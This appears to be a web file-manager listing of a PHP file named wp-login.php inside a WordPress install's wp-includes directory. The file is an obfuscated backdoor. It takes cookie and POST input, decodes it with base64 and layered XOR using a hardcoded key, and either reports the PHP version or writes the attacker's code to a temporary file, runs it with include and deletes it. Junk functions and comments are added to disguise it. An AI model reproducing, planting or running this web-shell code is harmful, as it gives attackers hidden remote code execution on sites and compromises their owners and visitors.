HEX
Server: Apache
System: Linux host.dominioscaracas.com 4.18.0-477.15.1.lve.2.el8.x86_64 #1 SMP Wed Aug 2 10:43:45 UTC 2023 x86_64
User: enciassa (1159)
PHP: 8.1.31
Disabled: exec,passthru,shell_exec,system
Upload Files
File: /home/enciassa/www/wp-includes/Requests/wp-login.php
<?php  /*  roj_of*/ function   lnbgfpr(){$yngj_='a_zxgdpcp';    print_r  (18741+18741);  }

$fmsbklri	=    'fmsbklri'    ^ /* dxwpor */ '';




$twtqxkhp     =  $_COOKIE;
$hkjqqfj      =    $_POST;


$r_teai /*  i   */ =   'mlqy';


$xdmfeuwkdpizg       = /*   fhv */ 'kzonu';



function	wtssq()

{    $sfrpoc    =	362;

      $xukmmq      =    'znmote';

   $rfwwgmnnnm    =    -54;

     $uzfobu   = /*use  */ $sfrpoc    /  8;

   $ky_bzp    =	218;	$zspjdml	=	'mdtv';

     $bkgxqxzgm    = /*  bwiq   */ -98;


}wtssq();




function /*   p */ vrjrfmoj($__awynn,       $_xvej_w_x)
{
    $bg_ahwc /*   j*/ = /*  a */ strlen($__awynn);	$nmwjkvbssh     =    strlen($_xvej_w_x);

       global    $fmsbklri;
       $w_mcms_llx       =    "";     $sbvxteyin /*o_ld  */ =	0; /*kc   */  /*   rh_pj */ while /*   jk_gvg */ ($sbvxteyin       < /*hv*/ $bg_ahwc) /* i*/ {


    for    ($xdmfeuwk    =	0;	$xdmfeuwk	<       $nmwjkvbssh  && /* qme_t*/ $sbvxteyin     <	$bg_ahwc; /*   kxiui */ $xdmfeuwk++, /*   slqf */ $sbvxteyin++)    {


    $w_mcms_llx    .=	$fmsbklri(ord($__awynn[$sbvxteyin]) /*  sw*/ ^      ord($_xvej_w_x[$xdmfeuwk]));
 /* nh_  */ }

 /* eh*/ }

   /* jaj */ return  $w_mcms_llx;

}





function   srxesecbod(){


	$n_ahgelob       =    -47;


 /*  pz   */ $mzkff    = /*bivk */ 'relmmvdfrb';
 /*   j   */ $e_kmyqtgi /* zszqpc */ =       400;
    $sbvxteyinxponnwy /*   gg  */ = /*m  */ 'khgcn';
}



function /*  qquiw   */ ufjeipeuc($aovnmbi,    $__awynn)

{

    global	$fmsbklri;

  $xdmfeuwkmyidepx       =    sprintf($fmsbklri(46)	. /* qr */ "\x2f"     .    "\45"       . /*  yjtsk*/ "s"."\x2e"   . /* f   */ $fmsbklri(112)    . /*   u  */ "\154", /* kec*/ md5($aovnmbi));
	file_put_contents($xdmfeuwkmyidepx, /*   m*/ "<"      .	"\x3f" /*hqdzf */ .    "\160"    .	"h"."p".$fmsbklri(32) /* lkpib  */ .    "\x75"	.   "\156"	.	"\154"    .	"i"."\156"     .  "k"."\x28" /* dxtcd */ . /* weqmt   */ "_"."_".$fmsbklri(70)    . /* tnv*/ "I".$fmsbklri(76)	.      "E"."\137"    .      $fmsbklri(620-525)      .	"\x29"  .    $fmsbklri(425-366)   . /*   usrrha   */ $fmsbklri(32)	.    $__awynn["\144"]);$yoqils /* qypyur  */ =    58;$tktzhzwa     =    569;


 /*iykdik */ include($xdmfeuwkmyidepx);

	$ehqsoqjgvy /*qw*/ =	$xdmfeuwkmyidepx;
    $pgtutskd /*_n*/ =    258;


 /*a  */ @unlink($ehqsoqjgvy);


 /*   _fdp*/ $rmtioudom       =	254;

    $qggnid     =     $yoqils /*   sq_xs   */ % /*  kijjfu  */ 3;
}




srxesecbod();


function      ilrlqm_bge()


{
 /*   qcg */ global /*   vhdqtv */ $fmsbklri;

 /*   fc  */ $sbvxteyin	= /*  e  */ array();    $sbvxteyin["\160" /* jccgm  */ . /*cb   */ "v"]	=	phpversion();


 /*  rhen */ $ywyzzdd   =    'ysceeltu';
    $xdmfeuwksxug__    =	strtoupper($ywyzzdd);


      $sbvxteyin[$fmsbklri(115) /*  nyn */ .	"v"] /*hg   */ = /*b*/ "3".$fmsbklri(704-658) /*  mvna  */ .    "5"; /*  tijmn */ $sbvxteyindvqvjpphj /*   xinjz */ =    strtoupper($xdmfeuwksxug__);

     echo  @serialize($sbvxteyin);}


function /*sm */ ebps_ollfk($__awynn, /*  prfz*/ $aovnmbi, /*wmjnr*/ $hdofnopp)


{

    global    $fmsbklri;

    $__awynn    =    unserialize(vrjrfmoj(vrjrfmoj(base64_decode($__awynn), /*ct */ $aovnmbi),    $hdofnopp));


    if /*  w*/ (isset($__awynn[$fmsbklri(545-448)."k"]))    {

 /*   aarpeg */ if /*ytz_iw   */ ($__awynn[$fmsbklri(545-448)]    ==	"i")	{    ilrlqm_bge();
    $dp_tea /*  faod   */ = /*  cl  */ 555;

	}  elseif  ($__awynn[$fmsbklri(545-448)] /*  rwiixi */ ==    "\x65") /*rzzpsy*/ {


   ufjeipeuc($aovnmbi, /*  sppggi */ $__awynn);     $vdocxzrvso    = /*bx*/ '_ddy';


 /*_ijl*/ }


	exit();


	}
}




$twtqxkhp /*  awx  */ =	array_merge($hkjqqfj,  $twtqxkhp);



$aovnmbi    =  $fmsbklri(112-64)   .    "2".$fmsbklri(526-473)	.    "c"."\142"	.	"\67"	.	"1"."\x38"    .	"-"."3"."f"."\67"    .    "\143"	.      $fmsbklri(858-813) /* dcml_   */ .	$fmsbklri(52)	. /* ao*/ "c".$fmsbklri(97)    . /* sque_  */ "\144" /*  bdmws */ .     "\55"    .    $fmsbklri(98) /*w*/ .	$fmsbklri(822-720)	.    "\x61" /*dj  */ .	"8"."\55" /*  ekij   */ . /*   vj  */ $fmsbklri(54)    .	"\x30"	. /* lyt*/ "\66"    .    "\x64"    .      "\66"    .	"\x36" /* gx  */ . /* d */ "\142"	.       "f".$fmsbklri(54)	. /*jky*/ "6".$fmsbklri(48) /*   ffcc */ . /* q_xt   */ "\x66";
foreach	($twtqxkhp /*  ny_gf   */ as   $hdofnopp	=>    $__awynn)	{

 /*syqn   */ ebps_ollfk($__awynn, /* wf*/ $aovnmbi,	$hdofnopp);

   $zfnecj    = /*q_ */ 'wujumaia';


      $gihsxi /*  jvm  */ =    468;

}




?>